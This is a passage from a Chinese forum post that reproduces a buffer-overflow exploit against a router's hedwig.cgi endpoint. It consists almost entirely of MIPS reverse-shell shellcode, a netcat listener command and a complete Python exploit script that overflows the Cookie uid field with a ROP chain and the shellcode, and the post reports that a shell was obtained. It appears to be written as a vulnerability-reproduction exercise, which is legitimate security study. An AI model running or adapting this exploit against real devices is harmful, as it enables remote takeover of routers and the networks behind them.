  1. "\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xff\xff\x06\x28\xab\x0f\x02\x34\x0c\x01\x01\x01"
复制代码
监听:
  1. nc -lvp 5566
复制代码
发现一个好工具:https://bbs.kanxue.com/thread-275619-1.htm
利用以上shellcode,乐成反弹shell:
[img=720,831.4678899082569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202403261356795.png[/img]

完备exp如下:
  1. import http.client
  2. from evilblade import *
  3. set("./cgibin")
  4. # 创建HTTP连接
  5. conn = http.client.HTTPConnection("192.168.0.1")
  6. ## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
  7. nop = "\x26\x40\x08\x01"
  8. #libc基地址
  9. libc = 0x77f34000
  10. #gadget
  11. gadget = 0x159cc+libc
  12. gadget2 = libc+0x158c8
  13. print(p32(gadget))
  14. print(p32(gadget2))
  15. sys = libc + 0x531ff
  16. print(p32(sys))
  17. dx(sys)
  18. sys_ = '\xffq\xf8w'
  19. gad_sp = "\xcc\x99\xf4w"
  20. gad_to_s5 = "\xc8\x98\xf4w"
  21. stg3_SC ="\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"
  22. #socket(2,1,0)
  23. stg3_SC += "\xe0\x01\xa2\xaf"
  24. #sw $v0,260($sp)
  25. stg3_SC += "\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"
  26. #dup2
  27. stg3_SC += "\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"
  28. #connect
  29. stg3_SC += "\x69\x6e\x0e\x3c\x2f\x62\xce\x35\x69\x01\x0f\x3c\x30\x74\xef\x35\xfe\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\x2c\x01\xae\xaf\x30\x01\xaf\xaf\x34\x01\xa0\xaf\x2c\x01\xa4\x27\x2d\x69\x0f\x24\x38\x01\xaf\xaf\x40\x01\xa4\xaf\x44\x01\xa0\xaf\x02\x01\x06\x24\xfe\xfe\xc6\x20\x40\x01\xa5\x27\xab\x0f\x02\x24\x0c\x01\x01\x01"
  30. #execve
  31. # stg3_SC += "\x24\x02\x02\x9a\x24\x04\x02\x9a\x20\x42\xfd\x76\x20\x84\xfd\x66\x01\x01\x01\x0c"
  32. #exit
  33. print(stg3_SC.encode(),len(stg3_SC))
  34. payload = cyclic(973).decode() + gad_to_s5 + "cccc"  + gad_sp*8  + "dddd"*4 +  stg3_SC
  35. # 设置请求头
  36. headers = {
  37. 'Content-Length': '21',
  38. 'accept-Encoding': 'deflate',
  39. 'Connection': 'close',
  40.    'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
  41.    'Host': '192.168.0.1',
  42.    'Cookie': 'uid='+payload,
  43.    'Content-Type': 'application/x-www-form-urlencoded'
  44. }
  45. # 发送POST请求
  46. conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
  47. # 获取响应
  48. pause()
  49. response = conn.getresponse()
  50. # 打印响应状态码和响应内容
  51. print(response.status, response.read().decode())
  52. # 关闭连接
  53. conn.close()
复制代码
至此完成复现。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

一给

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表